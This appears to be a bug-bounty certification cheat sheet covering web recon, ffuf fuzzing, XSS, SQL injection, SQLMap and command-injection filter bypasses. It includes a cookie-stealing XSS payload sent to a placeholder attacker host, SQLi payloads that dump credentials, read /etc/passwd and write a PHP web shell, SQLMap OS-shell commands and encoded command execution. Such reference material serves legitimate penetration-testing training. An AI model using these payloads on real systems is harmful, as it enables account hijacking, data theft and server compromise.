# CBBH

{% file src="<https://3869391553-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDMM6SCLTDlo5fkDXCdeU%2Fuploads%2FKIvpfA60rVkKd4ttxlwE%2FCertified%20Bug%20Bounty%20Hunter%20CBBH.pdf?alt=media&token=83d06933-df86-4a7e-bd22-257e204462d2>" %}

## **Web Requests**

#### cURL

<table data-header-hidden><thead><tr><th width="400.81817626953125"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td> <code>curl -s -O inlanefreight.com/index.html</code></td><td>Download file</td></tr><tr><td> <code>curl -k https://inlanefreight.com</code></td><td>Skip HTTPS (SSL) certificate validation</td></tr><tr><td> <code>curl inlanefreight.com -v</code></td><td>Print full HTTP request/response details</td></tr><tr><td> <code>curl -I https://www.inlanefreight.com</code></td><td>Send HEAD request (only prints response headers)</td></tr><tr><td> <code>curl -i https://www.inlanefreight.com</code></td><td>Print response headers and response body</td></tr><tr><td> <code>curl https://www.inlanefreight.com -A 'Mozilla/5.0'</code></td><td>Set User-Agent header</td></tr><tr><td> <code>curl -u admin:admin http://&#x3C;SERVER_IP>:&#x3C;PORT>/</code></td><td>Set HTTP basic authorization credentials</td></tr><tr><td> <code>curl http://admin:admin@&#x3C;SERVER_IP>:&#x3C;PORT>/</code></td><td>Pass HTTP basic authorization credentials in the URL</td></tr><tr><td> <code>curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://&#x3C;SERVER_IP>:&#x3C;PORT>/</code></td><td>Set request header</td></tr><tr><td> <code>curl 'http://&#x3C;SERVER_IP>:&#x3C;PORT>/search.php?search=le'</code></td><td>Pass GET parameters</td></tr><tr><td> <code>curl -X POST -d 'username=admin&#x26;password=admin' http://&#x3C;SERVER_IP>:&#x3C;PORT>/</code></td><td>Send POST request with POST data</td></tr><tr><td> <code>curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://&#x3C;SERVER_IP>:&#x3C;PORT>/</code></td><td>Set request cookies</td></tr><tr><td> <code>curl -X POST -d '{"search":"london"}' -H 'Content-Type: application/json' http://&#x3C;SERVER_IP>:&#x3C;PORT>/search.php</code></td><td>Send POST request with JSON data</td></tr></tbody></table>

#### APIs

<table data-header-hidden><thead><tr><th width="574.4545288085938"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td> <code>curl http://&#x3C;SERVER_IP>:&#x3C;PORT>/api.php/city/london</code></td><td>Read entry</td></tr><tr><td> <code>curl -s http://&#x3C;SERVER_IP>:&#x3C;PORT>/api.php/city/ | jq</code></td><td>Read all entries</td></tr><tr><td> <code>curl -X POST http://&#x3C;SERVER_IP>:&#x3C;PORT>/api.php/city/ -d '{"city_name":"HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'</code></td><td>Create (add) entry</td></tr><tr><td> <code>curl -X PUT http://&#x3C;SERVER_IP>:&#x3C;PORT>/api.php/city/london -d '{"city_name":"New_HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'</code></td><td>Update (modify) entry</td></tr><tr><td> <code>curl -X DELETE http://&#x3C;SERVER_IP>:&#x3C;PORT>/api.php/city/New_HTB_City</code></td><td>Delete entry</td></tr></tbody></table>

## **Information Gathering**

#### WHOIS

| Command                      | Description                               |
| ---------------------------- | ----------------------------------------- |
| `nslookup <target>`          | Identify A record for the target domain.  |
| `export TARGET="domain.tld"` | Assign target to an environment variable. |
| `whois $TARGET`              | WHOIS lookup for the target.              |

#### DNS Enumeration

<table><thead><tr><th width="351.727294921875">Command</th><th>Description</th></tr></thead><tbody><tr><td><code>nslookup $TARGET</code></td><td>Identify the A record for the target domain.</td></tr><tr><td><code>nslookup -query=A $TARGET</code></td><td>Identify the A record for the target domain.</td></tr><tr><td><code>dig &#x3C;TARGET> @&#x3C;nameserver/IP></code></td><td>Identify the A record for the target domain.</td></tr><tr><td><code>dig a $TARGET @&#x3C;nameserver/IP></code></td><td>Identify the A record for the target domain.</td></tr><tr><td><code>nslookup -query=PTR &#x3C;IP></code></td><td>Identify the PTR record for the target IP address.</td></tr><tr><td><code>dig -x &#x3C;IP> @&#x3C;nameserver/IP></code></td><td>Identify the PTR record for the target IP address.</td></tr><tr><td><code>nslookup -query=ANY $TARGET</code></td><td>Identify ANY records for the target domain.</td></tr><tr><td><code>dig any $TARGET @&#x3C;nameserver/IP></code></td><td>Identify ANY records for the target domain.</td></tr><tr><td><code>nslookup -query=TXT $TARGET</code></td><td>Identify the TXT records for the target domain.</td></tr><tr><td><code>dig txt $TARGET @&#x3C;nameserver/IP></code></td><td>Identify the TXT records for the target domain.</td></tr><tr><td><code>nslookup -query=MX $TARGET</code></td><td>Identify the MX records for the target domain.</td></tr><tr><td><code>dig mx $TARGET @&#x3C;nameserver/IP></code></td><td>Identify the MX records for the target domain.</td></tr></tbody></table>

#### Passive Subdomain Enumeration

<table><thead><tr><th width="415.36370849609375">Resource/Command</th><th>Description</th></tr></thead><tbody><tr><td>VirusTotal</td><td><a href="https://www.virustotal.com/gui/home/url">https://www.virustotal.com/gui/home/url</a></td></tr><tr><td>Censys</td><td><a href="https://censys.io/">https://censys.io/</a></td></tr><tr><td>Crt.sh</td><td><a href="https://crt.sh/">https://crt.sh/</a></td></tr><tr><td><code>curl -s https://sonar.omnisint.io/subdomains/{domain} | jq -r '.[]' sort -u</code></td><td>All subdomains for a given domain.</td></tr><tr><td><code>curl -s https://sonar.omnisint.io/tlds/{domain} jq -r '.[]' sort -u</code></td><td>All TLDs found for a given domain.</td></tr><tr><td><code>curl -s https://sonar.omnisint.io/all/{domain} jq -r '.[]' sort -u</code></td><td>All results across all TLDs for a given domain.</td></tr><tr><td><code>curl -s https://sonar.omnisint.io/reverse/{ip} jq -r '.[]' sort -u</code></td><td>Reverse DNS lookup on IP address.</td></tr><tr><td><code>curl -s https://sonar.omnisint.io/reverse/{ip}/{mask} jq -r '.[]' sort -u</code></td><td>Reverse DNS lookup of a CIDR range.</td></tr><tr><td><code>curl -s "https://crt.sh/?q=${TARGET}&#x26;output=json" jq -r '.[] "\(.name_value)\n\(.common_name)"' sort -u</code></td><td></td></tr></tbody></table>

#### Certificate Transparency.

{% code overflow="wrap" %}

```bash
cat sources.txt \| while read source; do theHarvester -d "${TARGET}" -b $source -f "${source}-${TARGET}";done
```

{% endcode %}

Searching for subdomains and other information on the sources provided in the source.txt list.

{% code overflow="wrap" %}

```bash
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
```

{% endcode %}

This command fetches JSON-formatted data from `crt.sh` for `example.com` (the `%` is a wildcard), extracts domain names using `jq`, removes any wildcard prefixes (`*.`) with `sed`, and finally sorts and deduplicates the results.

#### Passive Infrastructure Identification

<table><thead><tr><th width="374.45458984375">Resource/Command</th><th>Description</th></tr></thead><tbody><tr><td>Netcraft</td><td><a href="https://www.netcraft.com/">https://www.netcraft.com/</a></td></tr><tr><td>WayBackMachine</td><td><a href="http://web.archive.org/">http://web.archive.org/</a></td></tr><tr><td>WayBackURLs</td><td><a href="https://github.com/tomnomnom/waybackurls">https://github.com/tomnomnom/waybackurls</a></td></tr><tr><td><code>waybackurls -dates https://$TARGET > waybackurls.txt</code></td><td>Crawling URLs from a domain with the date it was obtained.</td></tr></tbody></table>

#### Active Infrastructure Identification

<table><thead><tr><th width="372.6363525390625">Resource/Command</th><th>Description</th></tr></thead><tbody><tr><td><code>curl -I "http://${TARGET}"</code></td><td>Display HTTP headers of the target webserver.</td></tr><tr><td><code>whatweb -a https://www.facebook.com -v</code></td><td>Technology identification.</td></tr><tr><td>Wappalyzer</td><td><a href="https://www.wappalyzer.com/">https://www.wappalyzer.com/</a></td></tr><tr><td><code>wafw00f -v https://$TARGET</code></td><td>WAF Fingerprinting.</td></tr><tr><td>Aquatone</td><td><a href="https://github.com/michenriksen/aquatone">https://github.com/michenriksen/aquatone</a></td></tr><tr><td><code>cat subdomain.list aquatone -out ./aquatone -screenshot-timeout 1000</code></td><td>Makes screenshots of all subdomains in the</td></tr><tr><td>subdomain.list.</td><td></td></tr></tbody></table>

#### Active Subdomain Enumeration

<table><thead><tr><th width="395.3636474609375">Resource/Command</th><th>Description</th></tr></thead><tbody><tr><td>HackerTarget</td><td><a href="https://hackertarget.com/zone-transfer/">https://hackertarget.com/zone-transfer/</a></td></tr><tr><td>SecLists</td><td><a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></td></tr><tr><td><code>nslookup -type=any -query=AXFR $TARGET nameserver.target.domain</code></td><td>Zone Transfer using Nslookup against the target domain and its nameserver.</td></tr><tr><td><code>gobuster dns -q -r "${NS}" -d "${TARGET}" -w "${WORDLIST}" -p ./patterns.txt -o "gobuster_${TARGET}.txt"</code></td><td>Bruteforcing subdomains.</td></tr></tbody></table>

#### Virtual Hosts

<table><thead><tr><th width="470.8182373046875">Resource/Command</th><th width="273.5452880859375">Description</th></tr></thead><tbody><tr><td><code>curl -s http://192.168.10.10 -H "Host: randomtarget.com"</code></td><td>Changing the HOST HTTP header to request a specific domain.</td></tr><tr><td><code>cat ./vhosts.list while read vhost;do echo "\n********\nFUZZING: ${vhost}\n********";curl -s -I http://&#x3C;IP address> -H "HOST: ${vhost}.target.domain" | grep "Content-Length: ";done</code></td><td>Bruteforcing for possible virtual hosts on the target domain.</td></tr><tr><td><code>ffuf -w ./vhosts -u http://&#x3C;IP address> -H "HOST: FUZZ.target.domain" -fs 612</code></td><td>Bruteforcing for possible virtual hosts on the target domain using ffuf.</td></tr></tbody></table>

```bash
gobuster vhost -u http://192.0.2.1 -w hostnames.txt
```

#### Crawling

<table><thead><tr><th width="492.63641357421875">Resource/Command</th><th width="245.36358642578125">Description</th></tr></thead><tbody><tr><td><code>ffuf -recursion -recursion-depth 1 -u http://192.168.10.10/FUZZ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt</code></td><td>Discovering files and folders that cannot be spotted by browsing the website.</td></tr><tr><td><code>ffuf -w ./folders.txt:FOLDERS,./wordlist.txt:WORDLIST,./extensions.txt:EXTENSIONS -u http://www.target.domain/FOLDERS/WORDLISTEXTENSIONS</code></td><td>Mutated bruteforcing against the target web server.</td></tr></tbody></table>

Here's a basic Scrapy spider example to extract links from `example.com`:

```python
import scrapy

class ExampleSpider(scrapy.Spider):
    name = "example"
    start_urls = ['http://example.com/']

    def parse(self, response):
        for link in response.css('a::attr(href)').getall():
            if any(link.endswith(ext) for ext in self.interesting_extensions):
                yield {"file": link}
            elif not link.startswith("#") and not link.startswith("mailto:"):
                yield response.follow(link, callback=self.parse)
```

{% code overflow="wrap" %}

```bash
jq -r '.[] | select(.file != null) | .file' example_data.json | sort -u
```

{% endcode %}

## **Attacking Web Applications with Ffuf**

<table data-header-hidden><thead><tr><th width="567.181884765625"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td><code>ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ</code></td><td>Directory Fuzzing</td></tr><tr><td><code>ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ</code></td><td>Extension Fuzzing</td></tr><tr><td><code>ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php</code></td><td>Page Fuzzing</td></tr><tr><td><code>ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v</code></td><td>Recursive Fuzzing</td></tr><tr><td><code>ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/</code></td><td>Subdomain Fuzzing</td></tr><tr><td><code>ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx</code></td><td>VHost Fuzzing</td></tr><tr><td><code>ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx</code></td><td>Parameter Fuzzing</td></tr><tr><td><code>ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx</code></td><td>Parameter Fuzzing</td></tr><tr><td><code>ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx</code></td><td>Value Fuzzing</td></tr></tbody></table>

#### Wordlists

<table data-header-hidden><thead><tr><th width="555.3637084960938"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td><code>/opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt</code></td><td>Directory Wordlist</td></tr><tr><td><code>/opt/useful/seclists/Discovery/Web-Content/web-extensions.txt</code></td><td>Extensions Wordlist</td></tr><tr><td><code>/opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt</code></td><td>Domain Wordlist</td></tr><tr><td><code>/opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt</code></td><td>Parameters Wordlist</td></tr></tbody></table>

#### Misc

<table data-header-hidden><thead><tr><th width="465.3636474609375"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td><code>sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'</code></td><td>Add DNS entry</td></tr><tr><td><code>for i in $(seq 1 1000); do echo $i >> ids.txt; done</code></td><td>Create Sequence Wordlist</td></tr></tbody></table>

## **JavaScript Deobfuscation**

| **Website**                                 | **Description** |
| ------------------------------------------- | --------------- |
| [JS Console](https://jsconsole.com/)        |                 |
| [Prettier](https://prettier.io/playground/) |                 |
| [Beautifier](https://beautifier.io/)        |                 |
| [JSNice](http://www.jsnice.org/)            |                 |
| [JSCompress](https://jscompress.com/)       | Minify JS code  |

## **Cross-Site Scripting (XSS)**&#x20;

<table><thead><tr><th width="518.0908813476562">Code</th><th>Description</th></tr></thead><tbody><tr><td><code>&#x3C;script>alert(window.origin)&#x3C;/script></code></td><td>Basic XSS Payload</td></tr><tr><td><code>&#x3C;plaintext></code></td><td>Basic XSS Payload</td></tr><tr><td><code>&#x3C;script>print()&#x3C;/script></code></td><td>Basic XSS Payload</td></tr><tr><td><code>&#x3C;img src="" onerror=alert(window.origin)></code></td><td>HTML-based XSS Payload</td></tr><tr><td><code>&#x3C;script>document.body.style.background = "#141d2b"&#x3C;/script></code></td><td>Change Background Color</td></tr><tr><td><code>&#x3C;script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"&#x3C;/script></code></td><td>Change Background Image</td></tr><tr><td><code>&#x3C;script>document.title = 'HackTheBox Academy'&#x3C;/script></code></td><td>Change Website Title</td></tr><tr><td><code>&#x3C;script>document.getElementsByTagName('body')[0].innerHTML = 'text'&#x3C;/script></code></td><td>Overwrite website's main body</td></tr><tr><td><code>&#x3C;script>document.getElementById('urlform').remove();&#x3C;/script></code></td><td>Remove certain HTML element</td></tr><tr><td><code>&#x3C;script src="http://OUR_IP/script.js">&#x3C;/script></code></td><td>Load remote script</td></tr><tr><td><code>&#x3C;script>new Image().src='http://OUR_IP/index.php?c='+document.cookie&#x3C;/script></code></td><td>Send Cookie details to us</td></tr><tr><td><code>python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"</code></td><td>Run <code>xsstrike</code> on a url parameter</td></tr></tbody></table>

## **SQL Injection**

#### MySQL

<table data-header-hidden><thead><tr><th width="524.4544067382812"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td><strong>General</strong></td><td></td></tr><tr><td><code>mysql -u root -h docker.hackthebox.eu -P 3306 -p</code></td><td>login to mysql database</td></tr><tr><td><code>SHOW DATABASES</code></td><td>List available databases</td></tr><tr><td><code>USE users</code></td><td>Switch to database</td></tr><tr><td><strong>Tables</strong></td><td></td></tr><tr><td><code>CREATE TABLE logins (id INT, ...)</code></td><td>Add a new table</td></tr><tr><td><code>SHOW TABLES</code></td><td>List available tables in current database</td></tr><tr><td><code>DESCRIBE logins</code></td><td>Show table properties and columns</td></tr><tr><td><code>INSERT INTO table_name VALUES (value_1,..)</code></td><td>Add values to table</td></tr><tr><td><code>INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)</code></td><td>Add values to specific columns in a table</td></tr><tr><td><code>UPDATE table_name SET column1=newvalue1, ... WHERE &#x3C;condition></code></td><td>Update table values</td></tr><tr><td><strong>Columns</strong></td><td></td></tr><tr><td><code>SELECT * FROM table_name</code></td><td>Show all columns in a table</td></tr><tr><td><code>SELECT column1, column2 FROM table_name</code></td><td>Show specific columns in a table</td></tr><tr><td><code>DROP TABLE logins</code></td><td>Delete a table</td></tr><tr><td><code>ALTER TABLE logins ADD newColumn INT</code></td><td>Add new column</td></tr><tr><td><code>ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn</code></td><td>Rename column</td></tr><tr><td><code>ALTER TABLE logins MODIFY oldColumn DATE</code></td><td>Change column datatype</td></tr><tr><td><code>ALTER TABLE logins DROP oldColumn</code></td><td>Delete column</td></tr><tr><td><strong>Output</strong></td><td></td></tr><tr><td><code>SELECT * FROM logins ORDER BY column_1</code></td><td>Sort by column</td></tr><tr><td><code>SELECT * FROM logins ORDER BY column_1 DESC</code></td><td>Sort by column in descending order</td></tr><tr><td><code>SELECT * FROM logins ORDER BY column_1 DESC, id ASC</code></td><td>Sort by two-columns</td></tr><tr><td><code>SELECT * FROM logins LIMIT 2</code></td><td>Only show first two results</td></tr><tr><td><code>SELECT * FROM logins LIMIT 1, 2</code></td><td>Only show first two results starting from index 2</td></tr><tr><td><code>SELECT * FROM table_name WHERE &#x3C;condition></code></td><td>List results that meet a condition</td></tr><tr><td><code>SELECT * FROM logins WHERE username LIKE 'admin%'</code></td><td>List results where the name is similar to a given string</td></tr></tbody></table>

#### MySQL Operator Precedence

* Division (`/`), Multiplication (`*`), and Modulus (`%`)
* Addition (`+`) and Subtraction (`-`)
* Comparison (`=`, `>`, `<`, `<=`, `>=`, `!=`, `LIKE`)
* NOT (`!`)
* AND (`&&`)
* OR (`||`)

#### SQL Injection

<table data-header-hidden><thead><tr><th width="520.8181762695312"></th><th></th></tr></thead><tbody><tr><td><strong>Payload</strong></td><td><strong>Description</strong></td></tr><tr><td><strong>Auth Bypass</strong></td><td></td></tr><tr><td><code>admin' or '1'='1</code></td><td>Basic Auth Bypass</td></tr><tr><td><code>admin')-- -</code></td><td>Basic Auth Bypass With comments</td></tr><tr><td><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass">Auth Bypass Payloads</a></td><td></td></tr><tr><td><strong>Union Injection</strong></td><td></td></tr><tr><td><code>' order by 1-- -</code></td><td>Detect number of columns using <code>order by</code></td></tr><tr><td><code>cn' UNION select 1,2,3-- -</code></td><td>Detect number of columns using Union injection</td></tr><tr><td><code>cn' UNION select 1,@@version,3,4-- -</code></td><td>Basic Union injection</td></tr><tr><td><code>UNION select username, 2, 3, 4 from passwords-- -</code></td><td>Union injection for 4 columns</td></tr><tr><td><strong>DB Enumeration</strong></td><td></td></tr><tr><td><code>SELECT @@version</code></td><td>Fingerprint MySQL with query output</td></tr><tr><td><code>SELECT SLEEP(5)</code></td><td>Fingerprint MySQL with no output</td></tr><tr><td><code>cn' UNION select 1,database(),2,3-- -</code></td><td>Current database name</td></tr><tr><td><code>cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -</code></td><td>List all databases</td></tr><tr><td><code>cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -</code></td><td>List all tables in a specific database</td></tr><tr><td><code>cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -</code></td><td>List all columns in a specific table</td></tr><tr><td><code>cn' UNION select 1, username, password, 4 from dev.credentials-- -</code></td><td>Dump data from a table in another database</td></tr><tr><td><strong>Privileges</strong></td><td></td></tr><tr><td><code>cn' UNION SELECT 1, user(), 3, 4-- -</code></td><td>Find current user</td></tr><tr><td><code>cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -</code></td><td>Find if user has admin privileges</td></tr><tr><td><code>cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -</code></td><td>Find if all user privileges</td></tr><tr><td><code>cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -</code></td><td>Find which directories can be accessed through MySQL</td></tr><tr><td><strong>File Injection</strong></td><td></td></tr><tr><td><code>cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -</code></td><td>Read local file</td></tr><tr><td><code>select 'file written successfully!' into outfile '/var/www/html/proof.txt'</code></td><td>Write a string to a local file</td></tr><tr><td><code>cn' union select "",'&#x3C;?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -</code></td><td>Write a web shell into the base web directory</td></tr></tbody></table>

### **SQLMap**

<table data-header-hidden><thead><tr><th width="476.27276611328125"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td><code>sqlmap -hh</code></td><td>View the advanced help menu</td></tr><tr><td><code>sqlmap -u "http://www.example.com/vuln.php?id=1" --batch</code></td><td>Run <code>SQLMap</code> without asking for user input</td></tr><tr><td><code>sqlmap 'http://www.example.com/' --data 'uid=1&#x26;name=test'</code></td><td><code>SQLMap</code> with POST request</td></tr><tr><td><code>sqlmap 'http://www.example.com/' --data 'uid=1*&#x26;name=test'</code></td><td>POST request specifying an injection point with an asterisk</td></tr><tr><td><code>sqlmap -r req.txt</code></td><td>Passing an HTTP request file to <code>SQLMap</code></td></tr><tr><td><code>sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'</code></td><td>Specifying a cookie header</td></tr><tr><td><code>sqlmap -u www.target.com --data='id=1' --method PUT</code></td><td>Specifying a PUT request</td></tr><tr><td><code>sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt</code></td><td>Store traffic to an output file</td></tr><tr><td><code>sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch</code></td><td>Specify verbosity level</td></tr><tr><td><code>sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"</code></td><td>Specifying a prefix or suffix</td></tr><tr><td><code>sqlmap -u www.example.com/?id=1 -v 3 --level=5</code></td><td>Specifying the level and risk</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba</code></td><td>Basic DB enumeration</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --tables -D testdb</code></td><td>Table enumeration</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname</code></td><td>Table/row enumeration</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"</code></td><td>Conditional enumeration</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --schema</code></td><td>Database schema enumeration</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --search -T user</code></td><td>Searching for data</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --passwords --batch</code></td><td>Password enumeration and cracking</td></tr><tr><td><code>sqlmap -u "http://www.example.com/" --data="id=1&#x26;csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"</code></td><td>Anti-CSRF token bypass</td></tr><tr><td><code>sqlmap --list-tampers</code></td><td>List all tamper scripts</td></tr><tr><td><code>sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba</code></td><td>Check for DBA privileges</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"</code></td><td>Reading a local file</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"</code></td><td>Writing a file</td></tr><tr><td><code>sqlmap -u "http://www.example.com/?id=1" --os-shell</code></td><td>Spawning an OS shell</td></tr></tbody></table>

## **Command Injections**

#### Injection Operators

<table data-header-hidden><thead><tr><th width="162.18182373046875"></th><th width="147.36358642578125"></th><th width="144.63629150390625"></th><th></th></tr></thead><tbody><tr><td><strong>Injection Operator</strong></td><td><strong>Injection Character</strong></td><td><strong>URL-Encoded Character</strong></td><td><strong>Executed Command</strong></td></tr><tr><td>Semicolon</td><td><code>;</code></td><td><code>%3b</code></td><td>Both</td></tr><tr><td>New Line</td><td></td><td><code>%0a</code></td><td>Both</td></tr><tr><td>Background</td><td><code>&#x26;</code></td><td><code>%26</code></td><td>Both (second output generally shown first)</td></tr><tr><td>Pipe</td><td><code>|</code></td><td><code>%7c</code></td><td>Both (only second output is shown)</td></tr><tr><td>AND</td><td><code>&#x26;&#x26;</code></td><td><code>%26%26</code></td><td>Both (only if first succeeds)</td></tr><tr><td>OR</td><td><code>||</code></td><td><code>%7c%7c</code></td><td>Second (only if first fails)</td></tr><tr><td>Sub-Shell</td><td><code>``</code></td><td><code>%60%60</code></td><td>Both (Linux-only)</td></tr><tr><td>Sub-Shell</td><td><code>$()</code></td><td><code>%24%28%29</code></td><td>Both (Linux-only)</td></tr></tbody></table>

***

#### Linux

#### Filtered Character Bypass

<table><thead><tr><th width="205.3636474609375">Code</th><th>Description</th></tr></thead><tbody><tr><td><code>printenv</code></td><td>Can be used to view all environment variables</td></tr><tr><td><strong>Spaces</strong></td><td></td></tr><tr><td><code>%09</code></td><td>Using tabs instead of spaces</td></tr><tr><td><code>${IFS}</code></td><td>Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. <code>$()</code>)</td></tr><tr><td><code>{ls,-la}</code></td><td>Commas will be replaced with spaces</td></tr><tr><td><strong>Other Characters</strong></td><td></td></tr><tr><td><code>${PATH:0:1}</code></td><td>Will be replaced with <code>/</code></td></tr><tr><td><code>${LS_COLORS:10:1}</code></td><td>Will be replaced with <code>;</code></td></tr><tr><td><code>$(tr '!-}' '"-~'&#x3C;&#x3C;&#x3C;[)</code></td><td>Shift character by one (<code>[</code> -> <code>\</code>)</td></tr></tbody></table>

***

#### Blacklisted Command Bypass

| Code                                                         | Description                         |
| ------------------------------------------------------------ | ----------------------------------- |
| **Character Insertion**                                      |                                     |
| `'` or `"`                                                   | Total must be even                  |
| `$@` or `\`                                                  | Linux only                          |
| **Case Manipulation**                                        |                                     |
| `$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")`                           | Execute command regardless of cases |
| `$(a="WhOaMi";printf %s "${a,,}")`                           | Another variation of the technique  |
| **Reversed Commands**                                        |                                     |
| `echo 'whoami' \| rev`                                       | Reverse a string                    |
| `$(rev<<<'imaohw')`                                          | Execute reversed command            |
| **Encoded Commands**                                         |                                     |
| `echo -n 'cat /etc/passwd \| grep 33' \| base64`             | Encode a string with base64         |
| `bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)` | Execute b64 encoded string          |

#### Windows

#### Filtered Character Bypass

<table><thead><tr><th width="269.90911865234375">Code</th><th>Description</th></tr></thead><tbody><tr><td><code>Get-ChildItem Env:</code></td><td>Can be used to view all environment variables - (PowerShell)</td></tr><tr><td><strong>Spaces</strong></td><td></td></tr><tr><td><code>%09</code></td><td>Using tabs instead of spaces</td></tr><tr><td><code>%PROGRAMFILES:~10,-5%</code></td><td>Will be replaced with a space - (CMD)</td></tr><tr><td><code>$env:PROGRAMFILES[10]</code></td><td>Will be replaced with a space - (PowerShell)</td></tr><tr><td><strong>Other Characters</strong></td><td></td></tr><tr><td><code>%HOMEPATH:~0,-17%</code></td><td>Will be replaced with <code>\</code> - (CMD)</td></tr><tr><td><code>$env:HOMEPATH[0]</code></td><td>Will be replaced with <code>\</code> - (PowerShell)</td></tr></tbody></table>

***

#### Blacklisted Command Bypass

<table><thead><tr><th width="502.6363525390625">Code</th><th>Description</th></tr></thead><tbody><tr><td><strong>Character Insertion</strong></td><td></td></tr><tr><td><code>'</code> or <code>"</code></td><td>Total must be even</td></tr><tr><td><code>^</code></td><td>Windows only (CMD)</td></tr><tr><td><strong>Case Manipulation</strong></td><td></td></tr><tr><td><code>WhoAmi</code></td><td>character with odd cases</td></tr><tr><td><strong>Reversed Commands</strong></td><td></td></tr><tr><td><code>"whoami"[-1..-20] -join ''</code></td><td>Reverse a string</td></tr><tr><td><code>iex "$('imaohw'[-1..-20] -join '')"</code></td><td>Execute reversed command</td></tr><tr><td><strong>Encoded Commands</strong></td><td></td></tr><tr><td><code>[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))</code></td><td>Encode a string with base64</td></tr><tr><td><code>iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"</code></td><td>Execute b64 encoded string</td></tr></tbody></table>

#### Separator Characters

> List of injection characters and matching URL encoded as wordlist of possible separators:

```bash
;
%3b
\n
%0a
&
%26
|
%7c
&&
%26%26
||
%7c%7c
``
%60%60
$()
%24%28%29
```

#### Obfuscated Commands

> List of commands obfuscated as wordlist to test possible WAF filter bypass:

```bash
uname
u'n'a'm'e
${uname}
$(uname)
{uname}
$(rev<<<'emanu')
bash<<<$(base64 -d<<<dW5hbWUgLWE=)
